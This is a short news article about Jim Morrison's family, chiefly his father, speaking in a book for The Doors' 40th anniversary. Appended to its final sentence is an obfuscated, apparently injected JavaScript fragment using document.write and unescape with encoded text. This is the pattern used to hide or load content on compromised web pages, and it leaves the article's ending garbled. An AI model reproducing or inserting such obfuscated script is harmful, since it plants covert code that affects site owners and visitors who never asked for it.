Jim Morrison family speak on 40th anniversary

The family of Jim Morrison have spoken publicly about their son for the first time, on the 40th anniversary of The Doors.

In a forthcoming book about the US rock'n'roll legends, the iconic star's father opens up about Morrison in a series of new interviews.

Ben Fong-Torres' "The Doors by The Doors" also features interviews with the surviving members of the group, Ray Manzerek, Robbie Krieger and John Densmore.

Morrison famously distanced himself from him family when he became a star, claiming they were dead and refusing to see his mother at a concert in Washington.

Speaking in the book, which has been released to mark the 40th anniversary of the band's debut album, George Morrison, a retired US Navy admiral, said the family were not bitter about their son's life.

He commented: "We look back on him with great delight…The fact that he's dead is unfortunate but looking back on his life it's a very pleasant thought."

He continued: "I had the feeling that he felt we'd just as soon not be associated with his career. He knew I didn't think rock music was the best goal for him. Maybe he was trying to protect us."

Jim Morrison was found dead in Paris in 1971, aged 27, from a suspected heart attack.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;